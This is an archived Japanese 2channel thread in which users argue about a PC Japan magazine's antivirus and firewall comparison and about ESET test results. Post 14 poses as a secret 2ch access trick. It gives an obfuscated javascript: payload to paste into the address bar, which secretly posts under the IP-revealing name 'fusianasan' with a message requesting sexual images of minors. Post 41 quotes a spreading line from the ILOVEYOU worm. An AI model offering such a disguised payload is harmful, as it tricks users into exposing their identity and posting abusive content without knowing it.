2ちゃんねる ■掲示板に戻る■ 全部 1- 最新50    

■ このスレッドは過去ログ倉庫に格納されています

☆今月のPCJAPAN☆

1 :名無しさん@お腹いっぱい。:2007/11/13(火) 21:35:48 .net
セキュリティソフト比較載ってるね

2 :名無しさん@お腹いっぱい。:2007/11/13(火) 21:36:33 .net
そうだね

3 :名無しさん@お腹いっぱい。:2007/11/13(火) 22:16:14 .net
    ∧_∧
  _( ‘∀‘)_<ダスチンマン参上
⊂) (ニ 。  。 ) (⊃
  l  }、  ,{ T´
 ノ_/. `つ' l_ゝ
   (__)(__)

4 :名無しさん@お腹いっぱい。:2007/11/14(水) 08:24:31 .net
これ統合ソフト比べるてるのにわざわざファイアーウォール性能だけ比べるとか
意味あるのかね。
値段も評価への考慮に入れるのはおかしいと思う。純粋に性能で評価してほしかった。




5 :名無しさん@お腹いっぱい。:2007/11/21(水) 08:10:40 .net
もっと比較するセキュリティソフトの数を増やしてほしかった
ゼロは対象からはずしてほしかった…

6 :名無しさん@お腹いっぱい。:2007/11/27(火) 05:18:14 .net
あげ

7 :名無しさん@お腹いっぱい。:2007/11/27(火) 08:49:50 .net
バスターが総合で評価されてて
カスペがファイヤーウォールとウィルス検知で評価されてたね
なんか微妙なテストだったけど

8 :名無しさん@お腹いっぱい。:2007/11/27(火) 20:51:13 .net
今月号立ち読みできねえ!

9 :名無しさん@お腹いっぱい。:2007/11/28(水) 00:00:55 .net
買えよ

10 :名無しさん@お腹いっぱい。:2007/11/28(水) 12:21:49 .net
地元の本屋で立ち読みできたw


11 :名無しさん@お腹いっぱい。:2007/11/28(水) 12:29:09 .net
>>7
>ファイヤーウォールとウィルス検知
を抜いたら何が残るんだw
値段とか使いやすさとかか?

12 :名無しさん@お腹いっぱい。:2007/11/28(水) 13:12:23 .net
↑とんでもない馬鹿

13 :名無しさん@お腹いっぱい。:2007/11/29(木) 14:37:05 .net
ムーミンの体験版付いてるのにムーミンが一番じゃないよ!

14 :名無しさん@お腹いっぱい。:2007/12/03(月) 20:18:49 .net
[極秘]裏2chアクセス方法[初心者厳禁]
2ちゃんねる歴2年以下の方はご遠慮下さい。

(準備)
2ch専用ブラウザを使用している人は、
IEなどの一般的なブラウザでこのスレを開いておく。

1、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

2、
改行を外して1行にする。

3、
1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

4、
Enterを押す(もしくは「移動」をクリックする)。


15 :名無しさん@お腹いっぱい。:2007/12/06(木) 14:03:43 .net
PCJ版F-Secure2008で、対象ファイル選択後、右クリックからのターゲットスキャンができない
(項目はあるが、スキャンウィンドウが立ち上がらない)のは俺だけだろうか?


2007版の正規ユーザーだから、妙なトラブルになってるんだろうか?
みんな、ちゃんとスキャンできてる?

16 :名無しさん@お腹いっぱい。:2007/12/15(土) 13:30:42 .net
バスターの評価があんなにいいなんて。

>15
問い合わせれば。

17 :名無しさん@お腹いっぱい。:2007/12/18(火) 22:26:32 .net
これ見たおかげでZERO買うの思いとどまれました

18 :名無しさん@お腹いっぱい。:2007/12/19(水) 17:56:03 .net
age

19 :名無しさん@お腹いっぱい。:2007/12/31(月) 06:19:18 .net
雑誌の表紙の女の人どこいったの?

20 :名無しさん@お腹いっぱい。:2008/01/11(金) 10:48:11 .net
日経WinPCにもセキュリティソフト比較載ってたぞ

21 :名無しさん@お腹いっぱい。:2008/01/18(金) 10:50:42 .net
外国人女性を表紙にするのもうやめたみたいね

22 :名無しさん@お腹いっぱい。:2008/01/23(水) 21:49:22 .net
uso!?

23 :名無しさん@お腹いっぱい。:2008/01/24(木) 10:27:22 .net
>>21
いいことだ。
女が見たいならエロ本買えばいい。

24 :名無しさん@お腹いっぱい。:2008/01/24(木) 18:20:46 .net
女性でも買いやすい雑誌にするためか。関係ないけど、今号は
ツークリック詐欺について載ってたような

25 :名無しさん@お腹いっぱい。:2008/02/27(水) 12:45:56 .net
ツークリック詐欺なんて聞いたことないw

26 :名無しさん@お腹いっぱい。:2008/02/27(水) 18:21:26 .net
>>16
アンチウィルスのお薦めはカスペになっていたよな(笑止
リークテストもESETを零点にしておいて糞バスターやカスペを1点以上にしていた
信頼性皆無の低級者向け三流誌確定だな

27 :名無しさん@お腹いっぱい。:2008/02/27(水) 18:24:26 .net
素人しか読まない低級雑誌ですから……

28 :名無しさん@お腹いっぱい。:2008/02/27(水) 19:00:12 .net
なにお今更w周知の事実

29 :名無しさん@お腹いっぱい。:2008/02/27(水) 21:49:12 .net

Esetの成績が悪かったテストは全て提灯テストに認定し、
成績が良かったテストは褒める>>26-28=Z音の習性。↓

http://pc11.2ch.net/test/read.cgi/sec/1201517612/252-262
http://pc11.2ch.net/test/read.cgi/sec/1167117926/547-565
http://pc11.2ch.net/test/read.cgi/sec/1187010759/889-896

30 :名無しさん@お腹いっぱい。:2008/02/27(水) 21:51:29 .net
Eset製品の正体
http://pc11.2ch.net/test/read.cgi/sec/1202741069/13-32,46-47,51-52,58,63

Eset信者の正体
http://pc11.2ch.net/test/read.cgi/sec/1187681559/81-167

31 :名無しさん@お腹いっぱい。:2008/02/27(水) 21:55:23 .net
ソース元

総合セキュリティ対策ソフト徹底比較2008_PCJapan
http://www.sbcr.jp/pcjapan/img/toku2_080117.pdf
2つの広告主の製品も成績が芳しくない。


----------------
61 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2008/02/07(木) 11:32:43
>>58
PCJapanがESET Smart Security(ESS)のファイアーウォールの
リークテスト結果を記事にしていたんだな。


一番いいセキュリティソフトはなんだ!!Part43
http://pc11.2ch.net/test/read.cgi/sec/1201308630/

653:名無しさん@お腹いっぱい。:2008/02/06(水) 22:35:07
>ESSはPFWウンコなので除外

正に衝撃の結果だったよなw

654:名無しさん@お腹いっぱい。:2008/02/06(水) 23:10:22
PCJapanだったかの記事でリークテスト全部×だったっけ、ESS

655:名無しさん@お腹いっぱい。:2008/02/06(水) 23:21:20
AV部分も誇大広告なウンコ。
そして代理店もウンコ。


32 :名無しさん@お腹いっぱい。:2008/02/27(水) 21:56:32 .net
ユーザーの生の声。


ノートン,カスペ,NOD,AntiVir,ムーミン, GDATAでNo.1は?
http://pc11.2ch.net/test/read.cgi/sec/1187010759/


889:名無しさん@お腹いっぱい。:2008/02/14(木) 22:35:28
総合セキュリティ対策ソフト徹底比較2008_PCJapan
http://www.sbcr.jp/pcjapan/img/toku2_080117.pdf
色々と衝撃的な結果が。


890:名無しさん@お腹いっぱい。:2008/02/15(金) 08:17:58
>>889
リークテスト0点じゃねーかよ! ソースネクスト以下とは…。
こりゃmatousecで掲載できないわけだ(matousecはベンダから了承を得て掲載する)。


891:名無しさん@お腹いっぱい。:2008/02/15(金) 08:47:41
製品そのものが糞というだけでなくて、販売店の対応も糞だし。
しかもソースネクストより、ずっと高額な値段。
まさに地雷。踏んだら戦車も吹っ飛ぶ大型地雷。


892:名無しさん@お腹いっぱい。:2008/02/15(金) 09:24:42
ESETのサイトが中華に食われるわけだw

33 :名無しさん@お腹いっぱい。:2008/03/12(水) 00:53:22 .net
このスレまだあったんだ

34 :名無しさん@お腹いっぱい。:2008/05/10(土) 19:18:16 .net
保守

35 :名無しさん@お腹いっぱい。:2008/10/18(土) 09:09:25 .net
今月号で紹介されてる無線LANの探索ツール、なんて名前だったっけ?

36 :名無しさん@お腹いっぱい。:2008/10/18(土) 12:09:03 .net
>>26
バーカwwwwNODwwwwwwwww

37 :名無しさん@お腹いっぱい。:2010/03/05(金) 17:46:03 .net
今月号で休刊age

38 :名無しさん@お腹いっぱい。:2010/03/11(木) 18:50:02 .net
●誤検出ランキング
ウイルスではないファイルを間違ってウイルスとして誤検出してしまったランキングです。
数が少ないほど誤検出していないということになり優秀です。

順位(誤検出数)
1位 (4)   Bitdefender ●これ以下は技術はないけど商売上手 鋭い指摘はやっぱ2ch(^^ ワローーーーーーーーーーース
        eScan
        F-Secure

●Packer サポートテスト
21タイプ×8種類、計168検体の内で動作無効31検体を除いた137検体を使用し
1タイプ毎につき全て検出可能な場合が基準となります。

Silver
 BitDefender 9 Professional Plus (76%) ●技術はなくても商売やっちゃうしワローーーーーーース^^ 鋭い指摘はやっぱ2ch ワローーーース(^^
 Dr. Web Anti-Virus 4.33 (76%)


●BitDefender、人気の秘密は? - 技術立国を目指すルーマニア発のセキュリティソフト

実はルーマニアは、情報技術について長い歴史を持つ国です。学校教育において

数学は非常に重視されており、共産体制の中でも電子分野では世界でも進んだ

開発が行われていました。

BitDefender
最高経営責任者Florin Talpes氏にインタビュー
その1
ttp://journal.mycom.co.jp/articles/2006/11/28/bitdefender/index.html
その2
ttp://journal.mycom.co.jp/articles/2006/11/28/bitdefender/001.html

39 :名無しさん@お腹いっぱい。:2010/03/26(金) 23:23:00 .net
本屋になかったと思ったら休刊したのか。
おねーちゃんの表紙やめてから買ってなかったな。


40 :名無しさん@お腹いっぱい。:2010/03/27(土) 02:28:39 .net
※ESET厨が貼るテスト結果コピペ>>38の真相を解説したログ
http://pc11.2ch.net/test/read.cgi/sec/1224860730/123-124

>ESETこそ誤検出が一番酷い部類の製品なので、コピペのテスト結果は完全な提灯です。
http://pc11.2ch.net/test/read.cgi/sec/1224860730/104-116
http://pc11.2ch.net/test/read.cgi/sec/1224860730/118


※ESET信者は、下記のテスト結果をコピペするのが大好きです。
>AV-Comparatives
>AV-TEST
>Virus Bulletin


>90 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2010/02/13(土) 13:38:20
>ESET以外は誤検出って、実環境では少ないよな。
>
>提灯テストで、数万サンプル中の10数個くらいの誤検出の差を、
>ESET厨が「多い多い」と一人で騒いで大量投稿しているだけで。


■有名なアンチウイルスのテスト機関の情報

1998年からVirus BulletinがVB100アワードを開始。
VB100アワードは、2008年までESETがプラチナ・スポンサーでした。

2009年もESETがプラチナ・スポンサーです。
ttp://www.virusbtn.com/conference/vb2009

2010年も、ESETとK7Computingはプラチナ・スポンサーです。
ttp://www.virusbtn.com/conference/vb2010/index


41 :名無しさん@お腹いっぱい。:2011/01/09(日) 20:36:20 .net
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

42 :名無しさん@お腹いっぱい。:2012/11/28(水) 10:21:11.72 .net
   ◇       ミ ◇
   ◇◇   / ̄|  ◇◇
 ◇◇ \  |__| ◇◇
    彡 O(,,゚Д゚) /
       (  P `O
      /彡#_|ミ\

43 :名無しさん@お腹いっぱい。:2014/10/05(日) 12:52:09.37 .net
ザパン

44 :名無しさん@お腹いっぱい。:2014/10/07(火) 18:38:36.63 .net
イエッス

45 :名無しさん@お腹いっぱい。:2014/10/07(火) 23:24:18.35 .net


46 :名無しさん@お腹いっぱい。:2015/10/31(土) 20:38:46.03 .net
ぽ?

総レス数 46
12 KB
掲示板に戻る 全部 前100 次100 最新50
read.cgi ver.24052200